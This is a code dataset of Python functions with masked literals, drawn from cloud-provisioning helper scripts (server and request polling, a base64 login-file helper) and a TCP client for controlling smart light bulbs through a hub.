{"signature": "def wait_for_server(pbclient=None, dc_id=None, serverid=None,<EOL>indicator='<STR_LIT:state>', state='<STR_LIT>', timeout=<NUM_LIT>):", "body": "if pbclient is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if dc_id is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if serverid is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>total_sleep_time = <NUM_LIT:0><EOL>seconds = <NUM_LIT:5><EOL>while total_sleep_time < timeout:<EOL><INDENT>time.sleep(seconds)<EOL>total_sleep_time += seconds<EOL>if total_sleep_time == <NUM_LIT>:<EOL><INDENT>seconds = <NUM_LIT:10><EOL><DEDENT>elif total_sleep_time == <NUM_LIT>:<EOL><INDENT>seconds = <NUM_LIT:20><EOL><DEDENT>server = getServerStates(pbclient, dc_id, serverid)<EOL>if server[indicator] == state:<EOL><INDENT>break<EOL><DEDENT><DEDENT>return server<EOL>", "docstring": "wait for a server/VM to reach a defined state for a specified time\nindicator := {state|vmstate} specifies if server or VM stat is tested\nstate specifies the status the indicator should have", "id": "f820:m4"}
{"signature": "def wait_for_datacenter(client, data_center_id):", "body": "total_sleep_time = <NUM_LIT:0><EOL>seconds = <NUM_LIT:5><EOL>while True:<EOL><INDENT>state = client.get_datacenter(data_center_id)['<STR_LIT>']['<STR_LIT:state>']<EOL>if verbose:<EOL><INDENT>print(\"<STR_LIT>\".format(state))<EOL><DEDENT>if state == \"<STR_LIT>\":<EOL><INDENT>break<EOL><DEDENT>time.sleep(seconds)<EOL>total_sleep_time += seconds<EOL>if total_sleep_time == <NUM_LIT>:<EOL><INDENT>seconds = <NUM_LIT:10><EOL><DEDENT>elif total_sleep_time == <NUM_LIT>:<EOL><INDENT>seconds = <NUM_LIT:20><EOL><DEDENT><DEDENT>", "docstring": "Poll the data center to become available (for the next provisionig job)", "id": "f820:m5"}
{"signature": "def main(argv=None):", "body": "if argv is None:<EOL><INDENT>argv = sys.argv<EOL><DEDENT>else:<EOL><INDENT>sys.argv.extend(argv)<EOL><DEDENT>program_name = os.path.basename(sys.argv[<NUM_LIT:0>])<EOL>program_version = \"<STR_LIT>\" % __version__<EOL>program_build_date = str(__updated__)<EOL>program_version_message = '<STR_LIT>' % (program_version,<EOL>program_build_date)<EOL>program_shortdesc = __import__('<STR_LIT:__main__>').__doc__.split(\"<STR_LIT:\\n>\")[<NUM_LIT:1>]<EOL>program_license =", "docstring": "Command line options.", "id": "f820:m6"}
{"signature": "def getLogin(filename, user, passwd):", "body": "if filename is None:<EOL><INDENT>return (user, passwd)<EOL><DEDENT>isPy2 = sys.version_info[<NUM_LIT:0>] == <NUM_LIT:2><EOL>if os.path.exists(filename):<EOL><INDENT>print(\"<STR_LIT>\".format(filename))<EOL>with open(filename, \"<STR_LIT:r>\") as loginfile:<EOL><INDENT>encoded_cred = loginfile.read()<EOL>print(\"<STR_LIT>\".format(encoded_cred))<EOL>if isPy2:<EOL><INDENT>decoded_cred = b64decode(encoded_cred)<EOL><DEDENT>else:<EOL><INDENT>decoded_cred = b64decode(encoded_cred).decode('<STR_LIT:utf-8>')<EOL><DEDENT>login = decoded_cred.split('<STR_LIT::>', <NUM_LIT:1>)<EOL>return (login[<NUM_LIT:0>], login[<NUM_LIT:1>])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if user is None or passwd is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>print(\"<STR_LIT>\".format(filename))<EOL>with open(filename, \"<STR_LIT:wb>\") as loginfile:<EOL><INDENT>creds = user+\"<STR_LIT::>\"+passwd<EOL>if isPy2:<EOL><INDENT>encoded_cred = b64encode(creds)<EOL><DEDENT>else:<EOL><INDENT>encoded_cred = b64encode(creds.encode('<STR_LIT:utf-8>'))<EOL><DEDENT>print(\"<STR_LIT>\".format(encoded_cred))<EOL>loginfile.write(encoded_cred)<EOL><DEDENT>return (user, passwd)<EOL><DEDENT>", "docstring": "write user/passwd to login file or get them from file.\nThis method is not Py3 safe (byte vs. str)", "id": "f822:m0"}
{"signature": "def wait_for_request(pbclient, request_id,<EOL>timeout=<NUM_LIT:0>, initial_wait=<NUM_LIT:5>, scaleup=<NUM_LIT:10>):", "body": "total_wait = <NUM_LIT:0><EOL>wait_period = initial_wait<EOL>next_scaleup = scaleup * wait_period<EOL>wait = True<EOL>while wait:<EOL><INDENT>request_status = pbclient.get_request(request_id, status=True)<EOL>state = request_status['<STR_LIT>']['<STR_LIT:status>']<EOL>if state == \"<STR_LIT>\":<EOL><INDENT>return(<NUM_LIT:0>, state, request_status['<STR_LIT>']['<STR_LIT:message>'])<EOL><DEDENT>if state == '<STR_LIT>':<EOL><INDENT>return(<NUM_LIT:1>, state, request_status['<STR_LIT>']['<STR_LIT:message>'])<EOL><DEDENT>print(\"<STR_LIT>\"<EOL>.format(request_id, state, wait_period))<EOL>sleep(wait_period)<EOL>total_wait += wait_period<EOL>if timeout != <NUM_LIT:0> and total_wait > timeout:<EOL><INDENT>wait = False<EOL><DEDENT>next_scaleup -= wait_period<EOL>if next_scaleup == <NUM_LIT:0>:<EOL><INDENT>wait_period += initial_wait<EOL>next_scaleup = scaleup * wait_period<EOL>print(\"<STR_LIT>\"<EOL>.format(wait_period, next_scaleup))<EOL><DEDENT><DEDENT>return(-<NUM_LIT:1>, state, \"<STR_LIT>\")<EOL>", "docstring": "Waits for a request to finish until timeout.\ntimeout==0 is interpreted as infinite wait time.\nReturns a tuple (return code, request status, message) where return code\n0  : request successful\n1  : request failed\n-1 : timeout exceeded\nThe wait_period is increased every scaleup steps to adjust for long\nrunning requests.", "id": "f822:m3"}
{"signature": "def wait_for_requests(pbclient, request_ids=None,<EOL>timeout=<NUM_LIT:0>, initial_wait=<NUM_LIT:5>, scaleup=<NUM_LIT:10>):", "body": "done = dict()<EOL>if not request_ids:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>return done<EOL><DEDENT>total_wait = <NUM_LIT:0><EOL>wait_period = initial_wait<EOL>next_scaleup = scaleup * wait_period<EOL>wait = True<EOL>while wait:<EOL><INDENT>for request_id in request_ids:<EOL><INDENT>if request_id in done:<EOL><INDENT>continue<EOL><DEDENT>request_status = pbclient.get_request(request_id, status=True)<EOL>state = request_status['<STR_LIT>']['<STR_LIT:status>']<EOL>if state == \"<STR_LIT>\":<EOL><INDENT>done[request_id] = (<NUM_LIT:0>, state, request_status['<STR_LIT>']['<STR_LIT:message>'])<EOL>print(\"<STR_LIT>\".format(request_id, state))<EOL><DEDENT>if state == '<STR_LIT>':<EOL><INDENT>done[request_id] = (<NUM_LIT:1>, state, request_status['<STR_LIT>']['<STR_LIT:message>'])<EOL>print(\"<STR_LIT>\".format(request_id, state))<EOL><DEDENT><DEDENT>if len(done) == len(request_ids):<EOL><INDENT>wait = False<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\"<EOL>.format(len(done), len(request_ids), wait_period))<EOL>sleep(wait_period)<EOL>total_wait += wait_period<EOL>if timeout != <NUM_LIT:0> and total_wait > timeout:<EOL><INDENT>wait = False<EOL><DEDENT>next_scaleup -= wait_period<EOL>if next_scaleup == <NUM_LIT:0>:<EOL><INDENT>wait_period += initial_wait<EOL>next_scaleup = scaleup * wait_period<EOL>print(\"<STR_LIT>\"<EOL>.format(wait_period, next_scaleup))<EOL><DEDENT><DEDENT><DEDENT>if len(done) != len(request_ids):<EOL><INDENT>for request_id in request_ids:<EOL><INDENT>if request_id in done:<EOL><INDENT>continue<EOL><DEDENT>done[request_id] = (-<NUM_LIT:1>, state, \"<STR_LIT>\")<EOL><DEDENT><DEDENT>return done<EOL>", "docstring": "Waits for a list of requests to finish until timeout.\ntimeout==0 is interpreted as infinite wait time.\nReturns a dict of request_id -> result.\nresult is a tuple (return code, request status, message) where return code\n0  : request successful\n1  : request failed\n-1 : timeout exceeded\nThe wait_period is increased every scaleup steps to adjust for long\nrunning requests.", "id": "f822:m4"}
{"signature": "def getServerInfo(pbclient=None, dc_id=None):", "body": "if pbclient is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if dc_id is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>server_info = []<EOL>servers = pbclient.list_servers(dc_id, <NUM_LIT:1>)<EOL>for server in servers['<STR_LIT>']:<EOL><INDENT>props = server['<STR_LIT>']<EOL>info = dict(id=server['<STR_LIT:id>'], name=props['<STR_LIT:name>'],<EOL>state=server['<STR_LIT>']['<STR_LIT:state>'],<EOL>vmstate=props['<STR_LIT>'])<EOL>server_info.append(info)<EOL><DEDENT>return server_info<EOL>", "docstring": "gets info of servers of a data center", "id": "f822:m5"}
{"signature": "def getServerStates(pbclient=None, dc_id=None, serverid=None, servername=None):", "body": "if pbclient is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if dc_id is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>server = None<EOL>if serverid is None:<EOL><INDENT>if servername is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>server_info = select_where(getServerInfo(pbclient, dc_id),<EOL>['<STR_LIT:id>', '<STR_LIT:name>', '<STR_LIT:state>', '<STR_LIT>'],<EOL>name=servername)<EOL>if len(server_info) > <NUM_LIT:1>:<EOL><INDENT>raise NameError(\"<STR_LIT>\".format(servername))<EOL><DEDENT>if len(server_info) == <NUM_LIT:1>:<EOL><INDENT>server = server_info[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>server_info = pbclient.get_server(dc_id, serverid, <NUM_LIT:1>)<EOL>server = dict(id=server_info['<STR_LIT:id>'],<EOL>name=server_info['<STR_LIT>']['<STR_LIT:name>'],<EOL>state=server_info['<STR_LIT>']['<STR_LIT:state>'],<EOL>vmstate=server_info['<STR_LIT>']['<STR_LIT>'])<EOL><DEDENT>except Exception:<EOL><INDENT>ex = sys.exc_info()[<NUM_LIT:1>]<EOL>if ex.args[<NUM_LIT:0>] is not None and ex.args[<NUM_LIT:0>] == <NUM_LIT>:<EOL><INDENT>print(\"<STR_LIT>\".format(serverid))<EOL>server = None<EOL><DEDENT>else:<EOL><INDENT>raise ex<EOL><DEDENT><DEDENT><DEDENT>return server<EOL>", "docstring": "gets states of a server", "id": "f822:m7"}
{"signature": "def wait_for_server(pbclient=None, dc_id=None, serverid=None,<EOL>indicator='<STR_LIT:state>', state='<STR_LIT>', timeout=<NUM_LIT>):", "body": "if pbclient is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if dc_id is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if serverid is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>total_sleep_time = <NUM_LIT:0><EOL>seconds = <NUM_LIT:5><EOL>while total_sleep_time < timeout:<EOL><INDENT>sleep(seconds)<EOL>total_sleep_time += seconds<EOL>if total_sleep_time == <NUM_LIT>:<EOL><INDENT>seconds = <NUM_LIT:10><EOL><DEDENT>elif total_sleep_time == <NUM_LIT>:<EOL><INDENT>seconds = <NUM_LIT:20><EOL><DEDENT>server = getServerStates(pbclient, dc_id, serverid)<EOL>if server[indicator] == state:<EOL><INDENT>break<EOL><DEDENT><DEDENT>return server<EOL>", "docstring": "wait for a server/VM to reach a defined state for a specified time\nindicator := {state|vmstate} specifies if server or VM stat is tested\nstate specifies the status the indicator should have", "id": "f822:m8"}
{"signature": "def main(argv=None):", "body": "if argv is None:<EOL><INDENT>argv = sys.argv<EOL><DEDENT>else:<EOL><INDENT>sys.argv.extend(argv)<EOL><DEDENT>program_name = os.path.basename(sys.argv[<NUM_LIT:0>])<EOL>program_version = \"<STR_LIT>\" % __version__<EOL>program_build_date = str(__updated__)<EOL>program_version_message = '<STR_LIT>' % (program_version, program_build_date)<EOL>program_shortdesc = __import__('<STR_LIT:__main__>').__doc__.split(\"<STR_LIT:\\n>\")[<NUM_LIT:1>]<EOL>program_license =", "docstring": "Parse command line options and dump a datacenter to snapshots and file.", "id": "f822:m10"}
{"signature": "def getLogin(filename, user, passwd):", "body": "if filename is None:<EOL><INDENT>return (user, passwd)<EOL><DEDENT>if os.path.exists(filename):<EOL><INDENT>print(\"<STR_LIT>\".format(filename))<EOL>with open(filename, \"<STR_LIT:r>\") as loginfile:<EOL><INDENT>encoded_cred = loginfile.read()<EOL><INDENT>print(\"<STR_LIT>\".format(encoded_cred))<EOL><DEDENT>decoded_cred = b64decode(encoded_cred)<EOL>login = decoded_cred.split('<STR_LIT::>', <NUM_LIT:1>)<EOL>return (login[<NUM_LIT:0>], login[<NUM_LIT:1>])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if user is None or passwd is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>print(\"<STR_LIT>\".format(filename))<EOL>with open(filename, \"<STR_LIT:w>\") as loginfile:<EOL><INDENT>encoded_cred = b64encode(user+\"<STR_LIT::>\"+passwd)<EOL><INDENT>print(\"<STR_LIT>\".format(encoded_cred))<EOL><DEDENT>loginfile.write(encoded_cred)<EOL><DEDENT>return (user, passwd)<EOL><DEDENT>", "docstring": "write user/passwd to login file or get them from file.\nThis method is not Py3 safe (byte vs. str)", "id": "f827:m0"}
{"signature": "def getServerInfo(pbclient=None, dc_id=None):", "body": "if pbclient is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if dc_id is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>server_info = []<EOL>servers = pbclient.list_servers(dc_id, <NUM_LIT:1>)<EOL>for server in servers['<STR_LIT>']:<EOL><INDENT>props = server['<STR_LIT>']<EOL>info = dict(id=server['<STR_LIT:id>'], name=props['<STR_LIT:name>'],<EOL>state=server['<STR_LIT>']['<STR_LIT:state>'],<EOL>vmstate=props['<STR_LIT>'])<EOL>server_info.append(info)<EOL><DEDENT>return server_info<EOL>", "docstring": "gets info of servers of a data center", "id": "f827:m1"}
{"signature": "def getServerStates(pbclient=None, dc_id=None, serverid=None, servername=None):", "body": "if pbclient is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if dc_id is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>server = None<EOL>if serverid is None:<EOL><INDENT>if servername is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>server_info = select_where(getServerInfo(pbclient, dc_id),<EOL>['<STR_LIT:id>', '<STR_LIT:name>', '<STR_LIT:state>', '<STR_LIT>'],<EOL>name=servername)<EOL>if len(server_info) > <NUM_LIT:1>:<EOL><INDENT>raise NameError(\"<STR_LIT>\".format(servername))<EOL><DEDENT>if len(server_info) == <NUM_LIT:1>:<EOL><INDENT>server = server_info[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>server_info = pbclient.get_server(dc_id, serverid, <NUM_LIT:1>)<EOL>server = dict(id=server_info['<STR_LIT:id>'],<EOL>name=server_info['<STR_LIT>']['<STR_LIT:name>'],<EOL>state=server_info['<STR_LIT>']['<STR_LIT:state>'],<EOL>vmstate=server_info['<STR_LIT>']['<STR_LIT>'])<EOL><DEDENT>except Exception:<EOL><INDENT>ex = sys.exc_info()[<NUM_LIT:1>]<EOL>if ex.args[<NUM_LIT:0>] is not None and ex.args[<NUM_LIT:0>] == <NUM_LIT>:<EOL><INDENT>print(\"<STR_LIT>\".format(serverid))<EOL>server = None<EOL><DEDENT>else:<EOL><INDENT>raise ex<EOL><DEDENT><DEDENT><DEDENT>return server<EOL>", "docstring": "gets states of a server", "id": "f827:m3"}
{"signature": "def wait_for_server(pbclient=None, dc_id=None, serverid=None,<EOL>indicator='<STR_LIT:state>', state='<STR_LIT>', timeout=<NUM_LIT>):", "body": "if pbclient is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if dc_id is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if serverid is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>total_sleep_time = <NUM_LIT:0><EOL>seconds = <NUM_LIT:5><EOL>while total_sleep_time < timeout:<EOL><INDENT>time.sleep(seconds)<EOL>total_sleep_time += seconds<EOL>if total_sleep_time == <NUM_LIT>:<EOL><INDENT>seconds = <NUM_LIT:10><EOL><DEDENT>elif total_sleep_time == <NUM_LIT>:<EOL><INDENT>seconds = <NUM_LIT:20><EOL><DEDENT>server = getServerStates(pbclient, dc_id, serverid)<EOL>if server[indicator] == state:<EOL><INDENT>break<EOL><DEDENT><DEDENT>return server<EOL>", "docstring": "wait for a server/VM to reach a defined state for a specified time\nindicator := {state|vmstate} specifies if server or VM stat is tested\nstate specifies the status the indicator should have", "id": "f827:m4"}
{"signature": "def main(argv=None):", "body": "if argv is None:<EOL><INDENT>argv = sys.argv<EOL><DEDENT>else:<EOL><INDENT>sys.argv.extend(argv)<EOL><DEDENT>program_name = os.path.basename(sys.argv[<NUM_LIT:0>])<EOL>program_version = \"<STR_LIT>\" % __version__<EOL>program_build_date = str(__updated__)<EOL>program_version_message = '<STR_LIT>' % (program_version,<EOL>program_build_date)<EOL>program_shortdesc = __import__('<STR_LIT:__main__>').__doc__.split(\"<STR_LIT:\\n>\")[<NUM_LIT:1>]<EOL>program_license =", "docstring": "Command line options.", "id": "f827:m5"}
{"signature": "def getLogin(filename, user, passwd):", "body": "if filename is None:<EOL><INDENT>return (user, passwd)<EOL><DEDENT>if os.path.exists(filename):<EOL><INDENT>print(\"<STR_LIT>\".format(filename))<EOL>with open(filename, \"<STR_LIT:r>\") as loginfile:<EOL><INDENT>encoded_cred = loginfile.read()<EOL>decoded_cred = b64decode(encoded_cred)<EOL>login = decoded_cred.split('<STR_LIT::>', <NUM_LIT:1>)<EOL>return (login[<NUM_LIT:0>], login[<NUM_LIT:1>])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if user is None or passwd is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>print(\"<STR_LIT>\".format(filename))<EOL>with open(filename, \"<STR_LIT:w>\") as loginfile:<EOL><INDENT>encoded_cred = b64encode(user+\"<STR_LIT::>\"+passwd)<EOL>loginfile.write(encoded_cred)<EOL><DEDENT>return (user, passwd)<EOL><DEDENT>", "docstring": "write user/passwd to login file or get them from file.\nThis method is not Py3 safe (byte vs. str)", "id": "f828:m0"}
{"signature": "def wait_for_request(pbclient, request_id,<EOL>timeout=<NUM_LIT:0>, initial_wait=<NUM_LIT:5>, scaleup=<NUM_LIT:10>):", "body": "total_wait = <NUM_LIT:0><EOL>wait_period = initial_wait<EOL>next_scaleup = scaleup * wait_period<EOL>wait = True<EOL>while wait:<EOL><INDENT>request_status = pbclient.get_request(request_id, status=True)<EOL>state = request_status['<STR_LIT>']['<STR_LIT:status>']<EOL>if state == \"<STR_LIT>\":<EOL><INDENT>return(<NUM_LIT:0>, state, request_status['<STR_LIT>']['<STR_LIT:message>'])<EOL><DEDENT>if state == '<STR_LIT>':<EOL><INDENT>return(<NUM_LIT:1>, state, request_status['<STR_LIT>']['<STR_LIT:message>'])<EOL><DEDENT>if verbose > <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\"<EOL>.format(request_id, state, wait_period))<EOL><DEDENT>sleep(wait_period)<EOL>total_wait += wait_period<EOL>if timeout != <NUM_LIT:0> and total_wait > timeout:<EOL><INDENT>wait = False<EOL><DEDENT>next_scaleup -= wait_period<EOL>if next_scaleup == <NUM_LIT:0>:<EOL><INDENT>wait_period += initial_wait<EOL>next_scaleup = scaleup * wait_period<EOL>if verbose > <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\"<EOL>.format(wait_period, next_scaleup))<EOL><DEDENT><DEDENT><DEDENT>return(-<NUM_LIT:1>, state, \"<STR_LIT>\")<EOL>", "docstring": "Waits for a request to finish until timeout.\ntimeout==0 is interpreted as infinite wait time.\nReturns a tuple (return code, request status, message) where return code\n0  : request successful\n1  : request failed\n-1 : timeout exceeded\nThe wait_period is increased every scaleup steps to adjust for long\nrunning requests.", "id": "f828:m1"}
{"signature": "def main(argv=None):", "body": "if argv is None:<EOL><INDENT>argv = sys.argv<EOL><DEDENT>else:<EOL><INDENT>sys.argv.extend(argv)<EOL><DEDENT>program_name = os.path.basename(sys.argv[<NUM_LIT:0>])<EOL>program_version = \"<STR_LIT>\" % __version__<EOL>program_build_date = str(__updated__)<EOL>program_version_message = '<STR_LIT>' % (program_version,<EOL>program_build_date)<EOL>program_shortdesc = __import__('<STR_LIT:__main__>').__doc__.split(\"<STR_LIT:\\n>\")[<NUM_LIT:1>]<EOL>program_license =", "docstring": "Parse command line options and create a server/volume composite.", "id": "f828:m2"}
{"signature": "def __init__(self, ip='<STR_LIT>', port=<NUM_LIT>):", "body": "self._port = port<EOL>self._ip = ip<EOL>self._socket = None<EOL>self._bulbs = []<EOL>self._lock = threading.Lock()<EOL>self._last_updated = datetime.datetime.now() - datetime.timedelta(<EOL>seconds=<NUM_LIT:30>)<EOL>self.connect()<EOL>", "docstring": "Create a hub with given IP and port, establishing socket.", "id": "f831:c0:m0"}
{"signature": "def connect(self):", "body": "try:<EOL><INDENT>self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<EOL>self._socket.settimeout(TIMEOUT_SECONDS)<EOL>self._socket.connect((self._ip, self._port))<EOL>_LOGGER.debug(\"<STR_LIT>\", self._ip,<EOL>self._port)<EOL><DEDENT>except socket.error as error:<EOL><INDENT>_LOGGER.error(\"<STR_LIT>\", error)<EOL>self._socket.close()<EOL><DEDENT>", "docstring": "Create and connect to socket for TCP communication with hub.", "id": "f831:c0:m1"}
{"signature": "@property<EOL><INDENT>def available(self):<DEDENT>", "body": "response = self.send_command(\"<STR_LIT>\")<EOL>return \"<STR_LIT>\" in response<EOL>", "docstring": "Check if hub is responsive.", "id": "f831:c0:m2"}
{"signature": "def send_command(self, command):", "body": "<EOL>with self._lock:<EOL><INDENT>try:<EOL><INDENT>self._socket.send(command.encode(\"<STR_LIT:utf8>\"))<EOL>result = self.receive()<EOL>while result.startswith(\"<STR_LIT:S>\") or result.startswith(\"<STR_LIT>\"):<EOL><INDENT>_LOGGER.debug(\"<STR_LIT>\", result)<EOL>result = self.receive()<EOL><DEDENT>_LOGGER.debug(\"<STR_LIT>\", result)<EOL>return result<EOL><DEDENT>except socket.error as error:<EOL><INDENT>_LOGGER.error(\"<STR_LIT>\", error)<EOL>self.connect()<EOL>return \"<STR_LIT>\"<EOL><DEDENT><DEDENT>", "docstring": "Send TCP command to hub and return response.", "id": "f831:c0:m3"}
{"signature": "def receive(self):", "body": "try:<EOL><INDENT>buffer = self._socket.recv(BUFFER_SIZE)<EOL><DEDENT>except socket.timeout as error:<EOL><INDENT>_LOGGER.error(\"<STR_LIT>\", error)<EOL>return \"<STR_LIT>\"<EOL><DEDENT>buffering = True<EOL>response = '<STR_LIT>'<EOL>while buffering:<EOL><INDENT>if '<STR_LIT:\\n>' in buffer.decode(\"<STR_LIT:utf8>\"):<EOL><INDENT>response = buffer.decode(\"<STR_LIT:utf8>\").split('<STR_LIT:\\n>')[<NUM_LIT:0>]<EOL>buffering = False<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>more = self._socket.recv(BUFFER_SIZE)<EOL><DEDENT>except socket.timeout:<EOL><INDENT>more = None<EOL><DEDENT>if not more:<EOL><INDENT>buffering = False<EOL>response = buffer.decode(\"<STR_LIT:utf8>\")<EOL><DEDENT>else:<EOL><INDENT>buffer += more<EOL><DEDENT><DEDENT><DEDENT>return response<EOL>", "docstring": "Receive TCP response, looping to get whole thing or timeout.", "id": "f831:c0:m4"}
{"signature": "def get_data(self):", "body": "response = self.send_command(GET_LIGHTS_COMMAND)<EOL>_LOGGER.debug(\"<STR_LIT>\", repr(response))<EOL>if not response:<EOL><INDENT>_LOGGER.debug(\"<STR_LIT>\", response)<EOL>return {}<EOL><DEDENT>response = response.strip()<EOL>if not (response.startswith(\"<STR_LIT>\") and response.endswith(\"<STR_LIT:;>\")):<EOL><INDENT>_LOGGER.debug(\"<STR_LIT>\", repr(response))<EOL>return {}<EOL><DEDENT>response = response[<NUM_LIT:4>:-<NUM_LIT:3>]  <EOL>light_strings = response.split('<STR_LIT:;>')<EOL>light_data_by_id = {}<EOL>for light_string in light_strings:<EOL><INDENT>values = light_string.split('<STR_LIT:U+002C>')<EOL>try:<EOL><INDENT>light_data_by_id[values[<NUM_LIT:0>]] = [int(values[<NUM_LIT:2>]), int(values[<NUM_LIT:4>]),<EOL>int(values[<NUM_LIT:5>]), int(values[<NUM_LIT:6>]),<EOL>int(values[<NUM_LIT:7>])]<EOL><DEDENT>except ValueError as error:<EOL><INDENT>_LOGGER.error(\"<STR_LIT>\", error, values, response)<EOL><DEDENT>except IndexError as error:<EOL><INDENT>_LOGGER.error(\"<STR_LIT>\", error, values, response)<EOL><DEDENT><DEDENT>return light_data_by_id<EOL>", "docstring": "Get current light data as dictionary with light zids as keys.", "id": "f831:c0:m5"}
{"signature": "def get_lights(self):", "body": "<EOL>now = datetime.datetime.now()<EOL>if (now - self._last_updated) < datetime.timedelta(<EOL>seconds=UPDATE_INTERVAL_SECONDS):<EOL><INDENT>return self._bulbs<EOL><DEDENT>else:<EOL><INDENT>self._last_updated = now<EOL><DEDENT>light_data = self.get_data()<EOL>_LOGGER.debug(\"<STR_LIT>\", light_data)<EOL>if not light_data:<EOL><INDENT>return []<EOL><DEDENT>if self._bulbs:<EOL><INDENT>for bulb in self._bulbs:<EOL><INDENT>try:<EOL><INDENT>values = light_data[bulb.zid]<EOL>bulb._online, bulb._red, bulb._green, bulb._blue,bulb._level = values<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>for light_id in light_data:<EOL><INDENT>self._bulbs.append(Bulb(self, light_id, *light_data[light_id]))<EOL><DEDENT><DEDENT>return self._bulbs<EOL>", "docstring": "Get current light data, set and return as list of Bulb objects.", "id": "f831:c0:m6"}
{"signature": "def __init__(self, hub, zid, online, red, green, blue, level):", "body": "self._hub = hub<EOL>self._zid = zid<EOL>self._online = online == <NUM_LIT:1>  <EOL>self._red = int(red)<EOL>self._green = int(green)<EOL>self._blue = int(blue)<EOL>self._level = int(level)<EOL>", "docstring": "Construct a Bulb (light) based on current values.", "id": "f831:c1:m0"}
{"signature": "@property<EOL><INDENT>def brightness(self):<DEDENT>", "body": "self.update()<EOL>return self._level<EOL>", "docstring": "Return the brightness level.", "id": "f831:c1:m1"}
{"signature": "@property<EOL><INDENT>def rgb_color(self):<DEDENT>", "body": "self.update()<EOL>return [self._red, self._green, self._blue]<EOL>", "docstring": "Return the color property as list of [R, G, B], each 0-255.", "id": "f831:c1:m2"}
{"signature": "@property<EOL><INDENT>def zid(self):<DEDENT>", "body": "return self._zid<EOL>", "docstring": "Return the bulb ID.", "id": "f831:c1:m3"}
{"signature": "@property<EOL><INDENT>def available(self):<DEDENT>", "body": "self.update()<EOL>return self._online<EOL>", "docstring": "Return True if this bulb is online in the current list of bulbs.", "id": "f831:c1:m4"}
{"signature": "@property<EOL><INDENT>def is_on(self):<DEDENT>", "body": "self.update()<EOL>return self._level > <NUM_LIT:0><EOL>", "docstring": "Determine if bulb is on (brightness not zero).", "id": "f831:c1:m5"}
{"signature": "def turn_on(self):", "body": "command = \"<STR_LIT>\".format(self._zid)<EOL>response = self._hub.send_command(command)<EOL>_LOGGER.debug(\"<STR_LIT>\", repr(command), response)<EOL>return response<EOL>", "docstring": "Turn bulb on (full brightness).", "id": "f831:c1:m6"}
{"signature": "def turn_off(self):", "body": "command = \"<STR_LIT>\".format(self._zid)<EOL>response = self._hub.send_command(command)<EOL>_LOGGER.debug(\"<STR_LIT>\", repr(command), response)<EOL>return response<EOL>", "docstring": "Turn bulb off (zero brightness).", "id": "f831:c1:m7"}
{"signature": "def set_rgb_color(self, red, green, blue):", "body": "command = \"<STR_LIT>\".format(self._zid, red, green, blue)<EOL>response = self._hub.send_command(command)<EOL>_LOGGER.debug(\"<STR_LIT>\", repr(command), response)<EOL>return response<EOL>", "docstring": "Set color of bulb.", "id": "f831:c1:m8"}
{"signature": "def set_brightness(self, brightness):", "body": "command = \"<STR_LIT>\".format(self._zid, brightness)<EOL>response = self._hub.send_command(command)<EOL>_LOGGER.debug(\"<STR_LIT>\", repr(command), response)<EOL>return response<EOL>", "docstring": "Set brightness of bulb.", "id": "f831:c1:m9"}
{"signature": "def set_all(self, red, green, blue, brightness):", "body": "command = \"<STR_LIT>\".format(self._zid, red, green, blue,<EOL>brightness)<EOL>response = self._hub.send_command(command)<EOL>_LOGGER.debug(\"<STR_LIT>\", repr(command), response)<EOL>return response<EOL>", "docstring": "Set color and brightness of bulb.", "id": "f831:c1:m10"}
{"signature": "def update(self):", "body": "bulbs = self._hub.get_lights()<EOL>if not bulbs:<EOL><INDENT>_LOGGER.debug(\"<STR_LIT>\", self._zid)<EOL>self._online = False<EOL><DEDENT>", "docstring": "Update light objects to their current values.", "id": "f831:c1:m11"}
